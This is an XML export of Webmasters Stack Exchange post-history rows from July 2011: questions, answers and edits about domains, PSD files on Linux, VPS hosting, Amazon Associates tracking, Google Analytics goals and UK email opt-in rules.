  <row Id="38991" PostHistoryTypeId="25" PostId="16368" RevisionGUID="d5a7aa4f-c591-4c2c-99ef-d018fe4357fe" CreationDate="2011-07-04T03:27:07.250" Comment="http://twitter.com/#!/StackWebmasters/status/87724084238094336" />
  <row Id="38992" PostHistoryTypeId="2" PostId="16371" RevisionGUID="118052ea-6abb-4b53-8cf4-513ab704c89a" CreationDate="2011-07-04T03:56:38.997" UserId="8778" Text="I have a .net domain. And I'm plan to use that domain for selling goods/commercials. Is that ok? Is there any rules about domain usage?&#xD;&#xA;&#xD;&#xA;Thanks before in advance." />
  <row Id="38993" PostHistoryTypeId="1" PostId="16371" RevisionGUID="118052ea-6abb-4b53-8cf4-513ab704c89a" CreationDate="2011-07-04T03:56:38.997" UserId="8778" Text="Domain .net is for selling" />
  <row Id="38994" PostHistoryTypeId="3" PostId="16371" RevisionGUID="118052ea-6abb-4b53-8cf4-513ab704c89a" CreationDate="2011-07-04T03:56:38.997" UserId="8778" Text="&lt;domains&gt;" />
  <row Id="38995" PostHistoryTypeId="2" PostId="16372" RevisionGUID="755b517a-e3b7-4ba3-8e2b-f77a3a78c4cd" CreationDate="2011-07-04T05:17:25.000" UserId="8779" Text="Web projects offered to freelance web developers and designers often include creating a website using graphics already prepared by an employer in Photoshop .psd files. But Photoshop is not available on Linux. Are there any tools available to work with .psd files on Linux, what quality do they have and is there any loss of information associated with using them instead of the official Photoshop software?&#xD;&#xA;" />
  <row Id="38996" PostHistoryTypeId="1" PostId="16372" RevisionGUID="755b517a-e3b7-4ba3-8e2b-f77a3a78c4cd" CreationDate="2011-07-04T05:17:25.000" UserId="8779" Text="Using Photoshop (psd) files in Linux" />
  <row Id="38997" PostHistoryTypeId="3" PostId="16372" RevisionGUID="755b517a-e3b7-4ba3-8e2b-f77a3a78c4cd" CreationDate="2011-07-04T05:17:25.000" UserId="8779" Text="&lt;linux&gt;&lt;photoshop&gt;&lt;psd&gt;" />
  <row Id="38998" PostHistoryTypeId="17" PostId="16373" RevisionGUID="55266e9a-edcb-40a1-83dd-3fdc03c57e49" CreationDate="2011-07-04T05:18:52.663" UserId="-1" Comment="from http://stackoverflow.com/questions/6566679/google-doorway-penatly" Text="" />
  <row Id="38999" PostHistoryTypeId="2" PostId="16373" RevisionGUID="f53810be-57e3-4edf-857b-57b4b41327e1" CreationDate="2011-07-04T01:57:37.440" UserDisplayName="samirah" Text="Ok so i have been trying to figure this out for about a month now. &#xD;&#xA;&#xD;&#xA;The case:&#xD;&#xA;I have a blog network with unique content on each post and at the end of each post each blog links to x1.com/unique-url-for-each-post before linking to x1 in the post i use a redirect with like this: theblog.com -&gt; redirect-url.com/redirect.php?=x1.com/unique-url-for-each-post -&gt; x1.com/unique-url-for-each-post&#xD;&#xA;&#xD;&#xA;(all links at the bottom of the posts have no-follow)&#xD;&#xA;&#xD;&#xA;For some strange reason about a month ago all blogs which i have done this on lost around 90% of their traffic.&#xD;&#xA;&#xD;&#xA;Could this be the cause of the penalty? Is this type of linking considered as link farms by google? &#xD;&#xA;&#xD;&#xA;All help and tips are greatly appreciated!&#xD;&#xA;&#xD;&#xA;" />
  <row Id="39000" PostHistoryTypeId="1" PostId="16373" RevisionGUID="f53810be-57e3-4edf-857b-57b4b41327e1" CreationDate="2011-07-04T01:57:37.440" UserDisplayName="samirah" Text="Google Doorway Penatly" />
  <row Id="39001" PostHistoryTypeId="3" PostId="16373" RevisionGUID="f53810be-57e3-4edf-857b-57b4b41327e1" CreationDate="2011-07-04T01:57:37.440" UserDisplayName="samirah" Text="&lt;search&gt;&lt;google&gt;&lt;seo&gt;" />
  <row Id="39002" PostHistoryTypeId="2" PostId="16374" RevisionGUID="dc51af8c-9b6f-4d08-a1ef-6498a31b7a14" CreationDate="2011-07-04T05:51:05.773" UserId="8780" Text="[Octagate's Site Timer][1] provides a graphical view of the load time if you want a web site, or you can get similar statistics with Chrome and Opera's developer tools.&#xD;&#xA;&#xD;&#xA;![Octagate example result][2]&#xD;&#xA;![Chrome example result][3]&#xD;&#xA;![Opera example result][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.octagate.com/service/SiteTimer/&#xD;&#xA;  [2]: http://i.stack.imgur.com/M0AA6.png&#xD;&#xA;  [3]: http://i.stack.imgur.com/fxcap.png&#xD;&#xA;  [4]: http://i.stack.imgur.com/mlYj6.png" />
  <row Id="39003" PostHistoryTypeId="2" PostId="16375" RevisionGUID="bf2772ee-6ad4-4277-a790-1f954e3408bf" CreationDate="2011-07-04T05:52:34.777" UserId="3312" Text="Why not just hire a Windows VPS and install whatever you need?" />
  <row Id="39004" PostHistoryTypeId="5" PostId="2436" RevisionGUID="d5c10193-fdcc-42f4-a993-55943106e88d" CreationDate="2011-07-04T06:03:52.543" UserId="8780" Comment="Fixed a few typos" Text="Great question, IMO i would say:&#xD;&#xA;&#xD;&#xA;**VPS ADVANTAGES**:&#xD;&#xA;&#xD;&#xA;since you are more in control with the server, it's a virtual, but still you can manage it as a full server. You have **full root access**, full control and therefore you can do almost whatever you want installing anything you like, even stuff that is not provided the web hosting plans of the same provider, you **could remove the control panel and install another one** (i.e. removing cPanel and install webmin or remove totally a control panel and **manage the server by yourself changing manually the configuration**). You could repolace the webmail interface with another one (i.e. remove Squirrelmail, and install something else).&#xD;&#xA;You can **change root Apache config .https.conf and root php.ini config**.&#xD;&#xA;&#xD;&#xA;**VPS DISADVANTAGES**:&#xD;&#xA;&#xD;&#xA;you **MUST KNOW how to manage a server**, getting such know how it's very time consuming, you need to learn and study carefully. You screw up something on a VPS and you risk to see it DOWN, or even worst, up and running but with dozens of SECURITY HOLES.&#xD;&#xA;It's usually **more expensive** than a web hosting plan, but not always more expensive than a web hosting reseller plan.&#xD;&#xA;&#xD;&#xA;**WEBHOSTING/RESELLER ADVANTAGES**:&#xD;&#xA;&#xD;&#xA;you are in control only of what is already installed on the plan by the provider (i.e. cPanel for managing, Squirrelmail as a web mail), even if you can still install your scripts and many third parties stuff. It's **much easier to manage**, and more difficult to be completely screwed up. If server is down or there are security holes it's not your fault you simply open a ticket and complain to the webhoster, he will have to take care about it.&#xD;&#xA;You can **rewrite also Apache config for spcific folder using the .htaccess file**. Also **php.ini config can be rewritten on a directories basis** cause most web hoster install suPHP that let you rewrite php.ini config using a php.ini file in the directory you want it to be modified.&#xD;&#xA;It's definietly **cheaper**.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**WEBHOSTING/RESELLER DISADVANTAGES**:&#xD;&#xA;&#xD;&#xA;if you want to change something at an higher level (like changing the contorl panel) you can't. You can NOT change root Apache config .https.conf and root php.ini config.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Anyway there is still something missing here, and I'm missing it too.&#xD;&#xA;Many hoster are now selling FULLY MANAGED VPS, according to their policies these type of plans have teh advantages of WEBHOSTING/RESELER because if you screw up something they lokk up at it and they also prepare the server for you, so iot seems you don't require so much know how, but simply to be careful not to put your hands where you shouldn't.&#xD;&#xA;&#xD;&#xA;Actually I tried to ask a **similar question** on [serverfault][1] you can find there also **links to other similar questions** that might help you too.&#xD;&#xA;&#xD;&#xA;IMHO i don't understand **what's the catch for some hosters to push the VPS against the WEBHOSTING RESELLER plans**. Some hosters are even selling **FULLY MANAGED VPS at CHEAPER prices than RESELLER plans**. It seems bizarre because if I buy a VPS I'm probably going to open many more tickets to ask this&amp;that and to ask them to fix/change something for me compared the the amount of tickets I could open with WEBHOSTING RESELLER plan.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://serverfault.com/questions/167859/hosting-cpanel-reseller-vs-cpanel-fully-managed-vps" />
  <row Id="39005" PostHistoryTypeId="25" PostId="16107" RevisionGUID="033f3563-2aea-4f66-a9a7-a79f2447be26" CreationDate="2011-07-04T06:27:07.820" Comment="http://twitter.com/#!/StackWebmasters/status/87769387276308480" />
  <row Id="39006" PostHistoryTypeId="2" PostId="16376" RevisionGUID="a20ae837-cf68-424f-8e5c-f5dc74766771" CreationDate="2011-07-04T08:07:19.147" UserId="1643" Text="This [answer][1] to a different question (not near enough for me to mark this as a duplicate) covers it. In short, there are no rules, just conventions that mostly tend to be followed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/2225/when-should-i-not-use-com-as-a-gerneric-top-level-domain-com-vs-net-org-e/2227#2227" />
  <row Id="39007" PostHistoryTypeId="2" PostId="16377" RevisionGUID="af9c0443-971a-43fe-afc4-112f75926fcb" CreationDate="2011-07-04T08:29:36.290" UserId="3312" Text="Is there any feature in the Amazon Affiliates system which will allow be to know, for a given month, what revenue was generated by individual pages?&#xD;&#xA;&#xD;&#xA;Perhaps e.g. by adding a querystring param to the referral link?" />
  <row Id="39008" PostHistoryTypeId="1" PostId="16377" RevisionGUID="af9c0443-971a-43fe-afc4-112f75926fcb" CreationDate="2011-07-04T08:29:36.290" UserId="3312" Text="Amazon Affiliates - Reporting on revenue generated by particular pages?" />
  <row Id="39009" PostHistoryTypeId="3" PostId="16377" RevisionGUID="af9c0443-971a-43fe-afc4-112f75926fcb" CreationDate="2011-07-04T08:29:36.290" UserId="3312" Text="&lt;amazon&gt;" />
  <row Id="39010" PostHistoryTypeId="2" PostId="16378" RevisionGUID="95f7aa47-0eb9-4aea-b6eb-e7fa78934867" CreationDate="2011-07-04T08:30:24.917" UserId="7588" Text="Here is my setup:&#xD;&#xA;&#xD;&#xA;The list of all theme images does exist and it is called the css file.&#xD;&#xA;&#xD;&#xA;The css file references images in a folder called images and content images are kept elsewhere in a content folder.&#xD;&#xA;&#xD;&#xA;To get a list of the images referenced in the css you can use command line 'grep' to list all of the lines containing 'url'.&#xD;&#xA;&#xD;&#xA;As for PSD originals, since much is done in layers and saved out separately, I just have a folder on my local PC named after the project to keep them in. That works for me - no fancy versioning or anything so advanced." />
  <row Id="39011" PostHistoryTypeId="2" PostId="16379" RevisionGUID="4758465b-28ab-4e8b-bb2d-22024bfc2919" CreationDate="2011-07-04T08:36:10.987" UserId="7588" Text="Before now I have opened PSDs with the Gimp but it is not the same. Layers go missing, things involving text look different and latest features in new Photoshop versions simply do not work.&#xD;&#xA;&#xD;&#xA;Therefore, even if a PSD file does open in the Gimp you are not entirely sure if it is looking as it is supposed to. Therefore, you do need Photoshop.&#xD;&#xA;&#xD;&#xA;Photoshop works absolutely fine in a Virtualbox PC, it can be made to work with Wine but I have struggled with the user-interface under Wine. Your best bet is to run Photoshop in an XP Virtualbox or on a secondary PC that has Vista/Windows 7 pre-installed." />
  <row Id="39012" PostHistoryTypeId="2" PostId="16380" RevisionGUID="5b7e8465-7813-4223-8e2e-7dd85c5df752" CreationDate="2011-07-04T09:03:21.950" UserId="7588" Text="Maybe you need to run HTTrack on your website with it set to download everything and follow all links within the site:&#xD;&#xA;&#xD;&#xA;[http://www.httrack.com/][1]&#xD;&#xA;&#xD;&#xA;You will then be able to determine from your access log whether your site (although not having the offending link) is actually generating the problem links. The problem links not necessarily being the one Google Image Search is wanting, but some weird recursion going on in your Wordpress when it 404s on them.&#xD;&#xA;&#xD;&#xA;You might also want to put in some .htaccess rules to tidy up your GoogleBot problem. If you send 410 or 301 instead of 404 then the Google Image search results for your site should get tidier next time it crawls your site.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.httrack.com/" />
  <row Id="39013" PostHistoryTypeId="5" PostId="12226" RevisionGUID="5c61145a-60ac-45d4-96cb-b54086ef7eb7" CreationDate="2011-07-04T09:05:17.957" UserId="6597" Comment="Removed advert" Text="From the virtual server is not possible to access resources on the primary server. Therefore, customers who place you on the same physical server as part of its VPS will not be able to access data on your VPS. Due to this, a dedicated virtual server favorably with Shared-hosting an increased level of security.&#xD;&#xA;The owner of a dedicated virtual server has all the permissions (the right root) for administration. This allows a particular VPS realize the optimal environment for your project and maximize its performance.&#xD;&#xA;Dedicated virtual server gives you all the benefits of a dedicated server, but has at the same order of magnitude lower cost. Therefore, virtual machines are typically used in large projects as an inexpensive alternative to dedicated server." />
  <row Id="39014" PostHistoryTypeId="2" PostId="16381" RevisionGUID="2dc33acd-4c9e-4ffa-9ecc-fddbb0d30c91" CreationDate="2011-07-04T09:20:56.460" UserId="2044" Text="what are the tools that can be used to analyse the SEO score and other seo facctors that helps in promoting websites in search engines" />
  <row Id="39015" PostHistoryTypeId="1" PostId="16381" RevisionGUID="2dc33acd-4c9e-4ffa-9ecc-fddbb0d30c91" CreationDate="2011-07-04T09:20:56.460" UserId="2044" Text="How do i analyse my website in terms of seo" />
  <row Id="39016" PostHistoryTypeId="3" PostId="16381" RevisionGUID="2dc33acd-4c9e-4ffa-9ecc-fddbb0d30c91" CreationDate="2011-07-04T09:20:56.460" UserId="2044" Text="&lt;seo&gt;&lt;analytics&gt;" />
  <row Id="39017" PostHistoryTypeId="25" PostId="16372" RevisionGUID="859fa7d2-3bbe-43b0-942c-f9ce01e5684e" CreationDate="2011-07-04T09:27:07.870" Comment="http://twitter.com/#!/StackWebmasters/status/87814686652899328" />
  <row Id="39018" PostHistoryTypeId="5" PostId="16377" RevisionGUID="99cc3678-24a1-40b3-98ea-061da9b9e2b0" CreationDate="2011-07-04T09:36:25.520" UserId="3312" Comment="edited body; edited title" Text="Is there any feature in the Amazon affiliates system which will allow be to know, for a given month, what revenue was generated by individual pages?&#xD;&#xA;&#xD;&#xA;Perhaps e.g. by adding a querystring param to the referral link?" />
  <row Id="39019" PostHistoryTypeId="4" PostId="16377" RevisionGUID="99cc3678-24a1-40b3-98ea-061da9b9e2b0" CreationDate="2011-07-04T09:36:25.520" UserId="3312" Comment="edited body; edited title" Text="Amazon Associates - Reporting on revenue generated by particular pages?" />
  <row Id="39020" PostHistoryTypeId="5" PostId="16371" RevisionGUID="ba425ce9-3721-463d-95b2-2984c5df68f2" CreationDate="2011-07-04T10:09:12.033" UserId="7198" Comment="deleted 21 characters in body; edited tags; edited title" Text="I have a .net domain. I plan to use it for selling goods/commercials. Is that ok? Are there any rules about domain usage?&#xD;&#xA;&#xD;&#xA;Thanks in advance." />
  <row Id="39021" PostHistoryTypeId="4" PostId="16371" RevisionGUID="ba425ce9-3721-463d-95b2-2984c5df68f2" CreationDate="2011-07-04T10:09:12.033" UserId="7198" Comment="deleted 21 characters in body; edited tags; edited title" Text="Can I use a .net domain for selling goods?" />
  <row Id="39022" PostHistoryTypeId="6" PostId="16371" RevisionGUID="ba425ce9-3721-463d-95b2-2984c5df68f2" CreationDate="2011-07-04T10:09:12.033" UserId="7198" Comment="deleted 21 characters in body; edited tags; edited title" Text="&lt;domains&gt;&lt;domain-names&gt;&lt;legal&gt;&lt;business&gt;" />
  <row Id="39023" PostHistoryTypeId="2" PostId="16382" RevisionGUID="10369020-10ac-4f6f-b4c2-0ce0ef9fcdd2" CreationDate="2011-07-04T10:24:57.437" UserId="1643" Text="You can use tracking ids for this.&#xD;&#xA;&#xD;&#xA;&gt; With tracking IDs, Associates can&#xD;&#xA;&gt; analyze the performance of various Web&#xD;&#xA;&gt; sites or merchandising strategies&#xD;&#xA;&gt; while accumulating earnings under a&#xD;&#xA;&gt; single Associates ID. For example,&#xD;&#xA;&gt; Associate storeid-20 might use the&#xD;&#xA;&gt; tracking ID storeid-1-20 to track&#xD;&#xA;&gt; referrals from one section of his Web&#xD;&#xA;&gt; site, and storeid-2-20 to track&#xD;&#xA;&gt; referrals from another section.&#xD;&#xA;&#xD;&#xA;https://affiliate-program.amazon.com/gp/associates/help/t1/a8?ie=UTF8&amp;pf_rd_t=501&amp;ref_=amb_link_126306_1&amp;pf_rd_m=ATVPDKIKX0DER&amp;pf_rd_p=&amp;pf_rd_s=assoc-center-2&amp;pf_rd_r=&amp;pf_rd_i=assoc_help_t10&#xD;&#xA;&#xD;&#xA;So you want a different tracking id for each page." />
  <row Id="39024" PostHistoryTypeId="17" PostId="16383" RevisionGUID="3ff29e95-0a3a-4bd0-9689-215ea184ef5a" CreationDate="2011-07-04T10:41:50.277" UserId="-1" Comment="from http://stackoverflow.com/questions/6570135/google-analytics-goals-setup-regular-expression-match" Text="" />
  <row Id="39025" PostHistoryTypeId="2" PostId="16383" RevisionGUID="a5ad108a-076d-43bd-8bf4-28487d8357b5" CreationDate="2011-07-04T10:19:17.673" UserDisplayName="jon morgan" Text="I have urls like the following:&#xD;&#xA;&#xD;&#xA; - http://example.com/item/1&#xD;&#xA;&#xD;&#xA; - http://example.com/item/1341&#xD;&#xA;&#xD;&#xA; - http://example.com/item/33324&#xD;&#xA;&#xD;&#xA;I want to set up a funnel in Google Analytics and I understand that I can use a regular expression.&#xD;&#xA;&#xD;&#xA;What would i enter to match all the above URLs ie. `/item/#{id}`?&#xD;&#xA;&#xD;&#xA;thanks&#xD;&#xA;jon" />
  <row Id="39026" PostHistoryTypeId="1" PostId="16383" RevisionGUID="a5ad108a-076d-43bd-8bf4-28487d8357b5" CreationDate="2011-07-04T10:19:17.673" UserDisplayName="jon morgan" Text="Google Analytics - Goals setup regular expression match" />
  <row Id="39027" PostHistoryTypeId="3" PostId="16383" RevisionGUID="a5ad108a-076d-43bd-8bf4-28487d8357b5" CreationDate="2011-07-04T10:19:17.673" UserDisplayName="jon morgan" Text="&lt;google-analytics&gt;" />
  <row Id="39028" PostHistoryTypeId="2" PostId="16384" RevisionGUID="78558813-2875-48ff-b7d3-10afc1e280b2" CreationDate="2011-07-04T11:16:20.053" UserId="5727" Text="What are the laws on this?  If I have a simple registration form, can I have underneath it:&#xD;&#xA;&#xD;&#xA;    [x] Subscribe to the blog&#xD;&#xA;    [x] Email me when a new release is issued&#xD;&#xA;&#xD;&#xA;Auto checked?  Or do they need to be Opt In by law (I remember reading this somewhere).  If it makes a difference, we are registered in the UK, and our web server is also UK located." />
  <row Id="39029" PostHistoryTypeId="1" PostId="16384" RevisionGUID="78558813-2875-48ff-b7d3-10afc1e280b2" CreationDate="2011-07-04T11:16:20.053" UserId="5727" Text="Auto subscribe checkbox on registration" />
  <row Id="39030" PostHistoryTypeId="3" PostId="16384" RevisionGUID="78558813-2875-48ff-b7d3-10afc1e280b2" CreationDate="2011-07-04T11:16:20.053" UserId="5727" Text="&lt;forms&gt;&lt;registration&gt;&lt;automation&gt;&lt;opt-in&gt;&lt;subscription&gt;" />
  <row Id="39031" PostHistoryTypeId="2" PostId="16385" RevisionGUID="9e4ad62f-fbd8-4d32-9c6a-5554f981dd55" CreationDate="2011-07-04T11:20:24.290" UserId="1643" Text="From http://www.ico.gov.uk/for_organisations/privacy_and_electronic_communications/opt_in_out.aspx&#xD;&#xA;&#xD;&#xA;&gt; If you provide a clear and prominent message along the following&#xD;&#xA;&gt; lines, the fact that a suitably&#xD;&#xA;&gt; prominent opt-out box has not been&#xD;&#xA;&gt; ticked may help establish that consent&#xD;&#xA;&gt; has been given. For example:&#xD;&#xA;&gt;     &#xD;&#xA;&gt; 'By submitting this registration form, you will be indicating your&#xD;&#xA;&gt; consent to receiving email marketing&#xD;&#xA;&gt; messages from us unless you have&#xD;&#xA;&gt; indicated an objection to receiving&#xD;&#xA;&gt; such messages by ticking the above&#xD;&#xA;&gt; box.'&#xD;&#xA;&#xD;&#xA;I would say removing a tick is the same as ticking an empty box, so you're probably OK." />
  <row Id="39032" PostHistoryTypeId="2" PostId="16386" RevisionGUID="c3e59eee-5653-4f51-94de-a92214470352" CreationDate="2011-07-04T11:35:49.047" UserId="7198" Text="You can use 'opt-out' systems to collect email addresses (i.e. it's legal), but it's a really bad idea, because you end up with people on your list who don't remember subscribing, and who will report your email as spam. From the [MailChimp blog](http://www.mailchimp.blogs.com/blog/2005/08/optin_vs_confir.html):&#xD;&#xA;&#xD;&#xA;&gt; Opt-out: This is an old-fashioned way&#xD;&#xA;&gt; of building your email list where&#xD;&#xA;&gt; you'd typically have some form for&#xD;&#xA;&gt; people to fill out (like to receive a&#xD;&#xA;&gt; free whitepaper or something). Hidden&#xD;&#xA;&gt; at the bottom of the page would be a&#xD;&#xA;&gt; little pre-checked box, with something&#xD;&#xA;&gt; like, &quot;Yes, please sign me up for your&#xD;&#xA;&gt; email newsletter!&quot; It's sort of a&#xD;&#xA;&gt; scummy way of doing it, but&#xD;&#xA;&gt; technically it's legal. We highly&#xD;&#xA;&gt; recommend against it, because you'll&#xD;&#xA;&gt; end up with tons of people who don't&#xD;&#xA;&gt; understand how they got on your list,&#xD;&#xA;&gt; who won't read your emails, and who&#xD;&#xA;&gt; will send complaints to the anti-spam&#xD;&#xA;&gt; authorities to get your server&#xD;&#xA;&gt; blacklisted. It's yucky, so stay away&#xD;&#xA;&gt; from it.&#xD;&#xA;&#xD;&#xA;Lists are only valuable when they contain subscribers who genuinely want to hear from you. There's little point in marketing and communicating with people who couldn't care less.&#xD;&#xA;&#xD;&#xA;As such, double opt-in, where users first tick to receive information, then click a link in their email to confirm their address, is the best way to build a list. If people are prepared to do that, the chances are high that they'll be prepared to open and click links in future emails you send them, and that's exactly the sort of customer you want on your list.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="39033" PostHistoryTypeId="2" PostId="16387" RevisionGUID="6821b9c1-8999-46d8-92bd-fad7f66db95d" CreationDate="2011-07-04T12:09:06.520" UserId="7588" Text="In the UK you can set this to be opt in. @Nick has a really good point about people that subscribe accidentally telling some third party that your emails are SPAM and your email rating going down accordingly. There are ways to mitigate against this: send 'circulars' out of a .info version of your domain and do it through a single inbox on 123-reg.com using SMTP to send your 'bulk' at a sensible rate through them and their bona-fide IP addresses. In this way you shouldn't permanently stain your IP address if your emails get marked as SPAM.&#xD;&#xA;&#xD;&#xA;You can get browser locale in javascript and set the tick in the box to be un-ticked if the locale is not en_QUEENS_ENGLISH if you don't want to upset any of those American (or other nations lawyers). Then, with an on dom load event you can untick the box to save them the effort.&#xD;&#xA;&#xD;&#xA;Also, I think that 'subscribe to newsletter' is not a very compelling proposition. Your visitors need more than that or else their eyes glaze over. If you have something that is what they want and free with a huge tick in it then you have something.&#xD;&#xA;&#xD;&#xA;@Nick and @paulmorriss have very good answers on this." />
  <row Id="39034" PostHistoryTypeId="5" PostId="16386" RevisionGUID="4371fdac-6672-432b-a68e-f22afecea085" CreationDate="2011-07-04T12:15:44.690" UserId="7198" Comment="added 948 characters in body" Text="In the UK, you should use opt-in by default. You can only use opt-out to send unsolicited mail in specific circumstances. From the ICO's [&quot;Rules on email marketing&quot; PDF](http://www.ico.gov.uk/upload/documents/library/privacy_and_electronic/introductory/rules_~1.pdf):&#xD;&#xA;&#xD;&#xA;&gt; Opt-out is where you are told that you&#xD;&#xA;&gt; will get marketing unless you say you &#xD;&#xA;&gt; don’t want them. Organisations can&#xD;&#xA;&gt; collect only your email address on an&#xD;&#xA;&gt; opt-out basis if they can satisfy the&#xD;&#xA;&gt; exemption criteria: &#xD;&#xA;&gt; &#xD;&#xA;&gt; 1. your email address was collected ‘in the course of a sale or &#xD;&#xA;&gt; negotiations for a sale’; &#xD;&#xA;&gt; 2. the sender only sends promotional messages relating to their ‘similar &#xD;&#xA;&gt; products and services’; and&#xD;&#xA;&gt; 3. when your address was collected, you were given the opportunity to opt &#xD;&#xA;&gt; out (free of charge except for the&#xD;&#xA;&gt; cost of transmission) which you didn’t&#xD;&#xA;&gt; take. The opportunity to opt-out must&#xD;&#xA;&gt; be given with every subsequent &#xD;&#xA;&gt; message.&#xD;&#xA;&#xD;&#xA;Even if you are eligible to collect email addresses with an opt-out system (i.e. you're selling a product, marketing only similar products, and offer an empty tickbox to opt-out), it's usually a bad idea, because you end up with people on your list who don't remember subscribing and who will report your email as spam. From the [MailChimp blog](http://www.mailchimp.blogs.com/blog/2005/08/optin_vs_confir.html):&#xD;&#xA;&#xD;&#xA;&gt; Opt-out: This is an old-fashioned way&#xD;&#xA;&gt; of building your email list where&#xD;&#xA;&gt; you'd typically have some form for&#xD;&#xA;&gt; people to fill out (like to receive a&#xD;&#xA;&gt; free whitepaper or something). Hidden&#xD;&#xA;&gt; at the bottom of the page would be a&#xD;&#xA;&gt; little pre-checked box, with something&#xD;&#xA;&gt; like, &quot;Yes, please sign me up for your&#xD;&#xA;&gt; email newsletter!&quot; It's sort of a&#xD;&#xA;&gt; scummy way of doing it, but&#xD;&#xA;&gt; technically it's legal. We highly&#xD;&#xA;&gt; recommend against it, because you'll&#xD;&#xA;&gt; end up with tons of people who don't&#xD;&#xA;&gt; understand how they got on your list,&#xD;&#xA;&gt; who won't read your emails, and who&#xD;&#xA;&gt; will send complaints to the anti-spam&#xD;&#xA;&gt; authorities to get your server&#xD;&#xA;&gt; blacklisted. It's yucky, so stay away&#xD;&#xA;&gt; from it.&#xD;&#xA;&#xD;&#xA;Lists are only valuable when they contain subscribers who genuinely want to hear from you. There's little point in marketing and communicating with people who couldn't care less.&#xD;&#xA;&#xD;&#xA;As such, double opt-in, where users first tick to receive information, then click a link in their email to confirm their address, is the best way to build a list. If people are prepared to do that, the chances are high that they'll be prepared to open and click links in future emails you send them, and that's exactly the sort of customer you want on your list.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="39035" PostHistoryTypeId="25" PostId="16384" RevisionGUID="08705253-7706-436f-bf99-0311b26493ab" CreationDate="2011-07-04T12:27:08.797" Comment="http://twitter.com/#!/StackWebmasters/status/87859988827095040" />
  <row Id="39036" PostHistoryTypeId="5" PostId="16386" RevisionGUID="ff48e6a3-c53f-4c2e-b925-b97dbca43880" CreationDate="2011-07-04T12:31:58.443" UserId="7198" Comment="deleted 2 characters in body" Text="In the UK, you should use opt-in by default. You can only use opt-out to send unsolicited mail in specific circumstances. From the ICO's [&quot;Rules on email marketing&quot; PDF](http://www.ico.gov.uk/upload/documents/library/privacy_and_electronic/introductory/rules_~1.pdf):&#xD;&#xA;&#xD;&#xA;&gt; Opt-out is where you are told that you&#xD;&#xA;&gt; will get marketing unless you say you &#xD;&#xA;&gt; don’t want them. Organisations can&#xD;&#xA;&gt; collect only your email address on an&#xD;&#xA;&gt; opt-out basis if they can satisfy the&#xD;&#xA;&gt; exemption criteria: &#xD;&#xA;&gt; &#xD;&#xA;&gt; 1. your email address was collected ‘in the course of a sale or &#xD;&#xA;&gt; negotiations for a sale’; &#xD;&#xA;&gt; 2. the sender only sends promotional messages relating to their ‘similar &#xD;&#xA;&gt; products and services’; and&#xD;&#xA;&gt; 3. when your address was collected, you were given the opportunity to opt &#xD;&#xA;&gt; out (free of charge except for the&#xD;&#xA;&gt; cost of transmission) which you didn’t&#xD;&#xA;&gt; take. The opportunity to opt-out must&#xD;&#xA;&gt; be given with every subsequent &#xD;&#xA;&gt; message.&#xD;&#xA;&#xD;&#xA;Even if you are eligible to collect email addresses with an opt-out system (i.e. you're selling a product, marketing only similar products, and offer a clear way of opting-out), it's usually a bad idea, because you end up with people on your list who don't remember subscribing and who will report your email as spam. From the [MailChimp blog](http://www.mailchimp.blogs.com/blog/2005/08/optin_vs_confir.html):&#xD;&#xA;&#xD;&#xA;&gt; Opt-out: This is an old-fashioned way&#xD;&#xA;&gt; of building your email list where&#xD;&#xA;&gt; you'd typically have some form for&#xD;&#xA;&gt; people to fill out (like to receive a&#xD;&#xA;&gt; free whitepaper or something). Hidden&#xD;&#xA;&gt; at the bottom of the page would be a&#xD;&#xA;&gt; little pre-checked box, with something&#xD;&#xA;&gt; like, &quot;Yes, please sign me up for your&#xD;&#xA;&gt; email newsletter!&quot; It's sort of a&#xD;&#xA;&gt; scummy way of doing it, but&#xD;&#xA;&gt; technically it's legal. We highly&#xD;&#xA;&gt; recommend against it, because you'll&#xD;&#xA;&gt; end up with tons of people who don't&#xD;&#xA;&gt; understand how they got on your list,&#xD;&#xA;&gt; who won't read your emails, and who&#xD;&#xA;&gt; will send complaints to the anti-spam&#xD;&#xA;&gt; authorities to get your server&#xD;&#xA;&gt; blacklisted. It's yucky, so stay away&#xD;&#xA;&gt; from it.&#xD;&#xA;&#xD;&#xA;Lists are only valuable when they contain subscribers who genuinely want to hear from you. There's little point in marketing and communicating with people who couldn't care less.&#xD;&#xA;&#xD;&#xA;As such, double opt-in, where users first tick to receive information, then click a link in their email to confirm their address, is the best way to build a list. If people are prepared to do that, the chances are high that they'll be prepared to open and click links in future emails you send them, and that's exactly the sort of customer you want on your list.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="39037" PostHistoryTypeId="5" PostId="12380" RevisionGUID="9c71eb54-3cfb-4f92-bc50-52bc806ad5ef" CreationDate="2011-07-04T12:35:37.033" UserId="6597" Comment="Removed advert" Text="There are only small differences. VPS hosting while it can be served via a cluster is commonly found on a single &quot;beefed up&quot; server. While cloud computing is generally found run on a cluster of servers that allow for redundancy and fail over. Additionally, you will commonly find that cloud computing is using ISCSI or other form of Network Storage for its storage space, while most of the VPS hosts I see are using local storage." />
  <row Id="39038" PostHistoryTypeId="24" PostId="12380" RevisionGUID="9c71eb54-3cfb-4f92-bc50-52bc806ad5ef" CreationDate="2011-07-04T12:35:37.033" Comment="Proposed by 6597 approved by 108 edit id of 426" />
  <row Id="39039" PostHistoryTypeId="2" PostId="16388" RevisionGUID="8aa1cc76-1436-46ee-b7d6-15456c76f2d6" CreationDate="2011-07-04T12:59:19.183" UserId="8782" Text="We're looking to switch our domain and hosting provider to a company that gives a little more freedom and is less of a financial burden. However, we cannot afford to have any disruption to email service - the emails are part of the current hosting package.&#xD;&#xA;&#xD;&#xA;Is there a way we can switch our hosting provider without email disruption? Or is it a matter of 'out of business hours' switching?&#xD;&#xA;&#xD;&#xA;Cheers,  &#xD;&#xA;Dan" />
  <row Id="39040" PostHistoryTypeId="1" PostId="16388" RevisionGUID="8aa1cc76-1436-46ee-b7d6-15456c76f2d6" CreationDate="2011-07-04T12:59:19.183" UserId="8782" Text="Switching hosting provider. Preserve emails?" />
